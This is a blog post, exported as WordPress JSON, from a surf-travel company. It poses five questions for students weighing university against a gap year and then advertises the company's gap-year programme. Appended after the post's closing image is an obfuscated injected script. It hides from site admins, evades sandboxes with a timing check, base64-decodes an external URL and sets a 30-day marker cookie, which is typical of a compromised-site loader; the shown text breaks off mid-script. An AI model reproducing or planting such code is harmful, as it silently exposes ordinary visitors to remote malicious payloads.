{"id":28127,"date":"2025-08-12T10:18:59","date_gmt":"2025-08-12T10:18:59","guid":{"rendered":"https:\/\/tickettoridegroup.com\/blog\/?p=28127"},"modified":"2025-10-20T09:38:40","modified_gmt":"2025-10-20T09:38:40","slug":"5-questions-to-ask-yourself-before-rushing-into-university","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/5-questions-to-ask-yourself-before-rushing-into-university\/","title":{"rendered":"5 Questions to Ask Yourself Before Rushing Into University"},"content":{"rendered":"\n<p>A Level Results day is here and if your inbox is already filling up with UCAS emails and your mates are buzzing about freshers&#8217; week, it can feel like university is the only path forward.<\/p>\n\n\n\n<p>But is it your path right now?<\/p>\n\n\n\n<p>I wish somebody actually asked me that 20+ years ago, then I wouldn\u2019t have wasted a year learning how to neck pints at the student union at Bournemouth Uni.<\/p>\n\n\n\n<p>So before you lock in a course you\u2019re not sure about or commit to years of study and debt, take a breather or long draw on your vape and ask yourself these five questions:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>1. Do I actually want to go or do I feel like I should?<\/strong><\/h3>\n\n\n\n<p>For me Uni felt like the \u201cdefault\u201d next step. Do that or get a trade. But doing something because everyone else is, or because it keeps other people happy, isn\u2019t a great reason to spend three years of your life and tens of thousands of pounds.<\/p>\n\n\n\n<p>Ask yourself and answer honestly:<\/p>\n\n\n\n<p><em>If no one expected anything of me, would I still choose this?<\/em><\/p>\n\n\n\n<p>If the answer is no, that\u2019s okay. There are other paths and taking time to explore them is smart.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>2. Am I sure about the course, or am I just picking something?<\/strong><\/h3>\n\n\n\n<p>I picked a subject I thought I was good at, but my heart wasn\u2019t in it and pretty soon I realised that University should deepen your interests, not drain your energy whilst distracting you.&nbsp;<\/p>\n\n\n\n<p>Another question to ask yourself:<\/p>\n\n\n\n<p><em>Do I care about what I\u2019ll be studying enough to dive into it full-time for three years?<\/em><\/p>\n\n\n\n<p>If not,&nbsp;a year out to gain clarity might be the best academic decision you ever make.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>3. Have I explored other options, or am I panicking?<\/strong><\/h3>\n\n\n\n<p>When results day hits, the pressure to decide what to do is overwhelming and feels urgent. Although I tend to shoot from the hip,&nbsp;panic is rarely a good foundation for life choices.<\/p>\n\n\n\n<p>The reality is, you don\u2019t have to go to uni this year to be successful. <\/p>\n\n\n\n<p>I failed my first year so bad, it was quite a horrible experience and although I picked the right course afterwards, I do wish I had been given the suggestion to take a structured gap year travelling, working, or doing something hands-on like a <strong>surf coaching and lifeguarding course abroad<\/strong> as it would have given me the breathing space, confidence and direction I needed at the time.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>4. What do I want to get out of the next year of my life?<\/strong><\/h3>\n\n\n\n<p>Forget course codes and campuses for a moment. Ask yourself:<\/p>\n\n\n\n<p><em>Do I want to explore, grow, earn, rest, adventure, gain skills, find purpose?<\/em><\/p>\n\n\n\n<p>A university degree might tick some of those boxes, but not all. A year of travel, cultural immersion, personal development and outdoor adventure might give you exactly what you need.<\/p>\n\n\n\n<p>You\u2019ll come back clearer, stronger and more motivated, whether that leads to uni or a completely different path. One of our team members in Sri Lanka, Magnus Dru Knudsen was in the exact same position you\u2019re in now and his life has changed drastically (<a href=\"https:\/\/tickettoridegroup.com\/blog\/a-different-path-from-customer-to-coach\/\">spoiler he\u2019s now doing his degree online whilst working for us in Sri Lanka<\/a>) <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>5. Am I mentally, emotionally and practically ready for Uni?<\/strong><\/h3>\n\n\n\n<p>University can be amazing but it\u2019s a huge leap. Living alone, managing money, self-directed study, new social pressures, it\u2019s a lot. And if you&#8217;re not quite ready, there&#8217;s zero shame in admitting that. I was not ready at all for that life and it weighed on me making me feel alienated and insecure. <\/p>\n\n\n\n<p>Ask yourself:<\/p>\n\n\n\n<p><em>What if gave myself a year to grow first?<\/em><\/p>\n\n\n\n<p>That time can be life-changing, setting yourself up to succeed on your own terms. You could also become really good at surfing. I probably surfed once a month at uni, which combined with fresher\u2019s weight definitely knocked my surfing progression back a bit&#8230;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>Final Thoughts<\/strong><\/h3>\n\n\n\n<p>There\u2019s nothing wrong with going to University. I went (after failing a year) and it set me up for life. But doing it before you\u2019re ready or for the wrong reasons, will lead to stress, regret, or in my case dropping out.<\/p>\n\n\n\n<p>So take a breath. Be honest with yourself.<\/p>\n\n\n\n<p>And if a year of purpose-driven adventure sounds more valuable right now than lecture halls and deadlines, that\u2019s your choice and it\u2019s a grown up one.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3><strong>Ready to Swap Lecture Halls for Line-Ups?<\/strong><\/h3>\n\n\n\n<p>If you&#8217;re considering a gap year filled with surf, travel, community, qualifications, and a job opportunity at the end in places like <strong>South Africa, Mozambique, and Sri Lanka<\/strong>, check out our <a href=\"https:\/\/www.tickettoridegroup.com\/surf-courses\/Sri-Lanka\/gap-year-surfing\/The-Epic-Gap-Year\">Epic Gap Year<\/a> and build a life experience that teaches you just as much as any classroom.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"768\" height=\"1024\" src=\"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-768x1024.jpg\" alt=\"\" class=\"wp-image-28131\" srcset=\"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-768x1024.jpg 768w, https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-225x300.jpg 225w, https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-1152x1536.jpg 1152w, https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-1536x2048.jpg 1536w, https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/2025\/07\/IMG_0651-2-scaled.jpg 1920w\" sizes=\"(max-width: 768px) 100vw, 768px\" \/><figcaption class=\"wp-element-caption\">The author (left) around your age after a mis-spent year at Uni learning nothing but how to drink beer and gaining weight + debt <\/figcaption><\/figure>\n\n\n\n<p><\/p>\n\n\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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